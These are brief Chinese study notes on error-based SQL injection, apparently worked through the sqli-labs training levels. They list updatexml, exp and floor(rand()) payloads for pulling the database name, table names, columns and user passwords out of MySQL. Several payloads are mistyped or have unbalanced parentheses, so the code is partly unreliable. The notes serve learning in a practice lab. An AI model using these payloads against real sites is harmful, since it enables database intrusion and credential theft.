先了解一下别的注入:
exp和updatexml
exp:
and exp(~(select xfrom(select x from x.x))x))
第一关举例:
使用这种方式获得数据库名。欧克了
报错注入:
updatexml(要操作的文件名,(构造一个xpath语法),新值)
举例:1updatexml(1,(concat(0x23,(database()),0x23)
2updatexml(1,concat(0x23,(select group_concat(table_name) from information_schema.tables where table_schema=‘security’),0x23),1) --+
select count(),(count((语句),floor(rand(012))X from infrmation_schema.tables group by X))
,第五关,
验证闭合符:
利用order by 查列数
第四列找不到,查第三列发现有,但是不显示
报错注入得到库名:
updatexml(1,concat(0x23,(select
database()),0x23),1)
查表:
查字段:
查密码:
这是前30个字符的,要获取后面的可以将1,30更改为31,60
第六关:
闭合符:
根据数据库查数据表
updatexml(1,concat(0x23,(select group_concat(table_name) from information_schema.tables where table_schema=‘security’),0x23),1) --+
根据得到的user表,进行字段查询
根据字段名,精确查找用户名和密码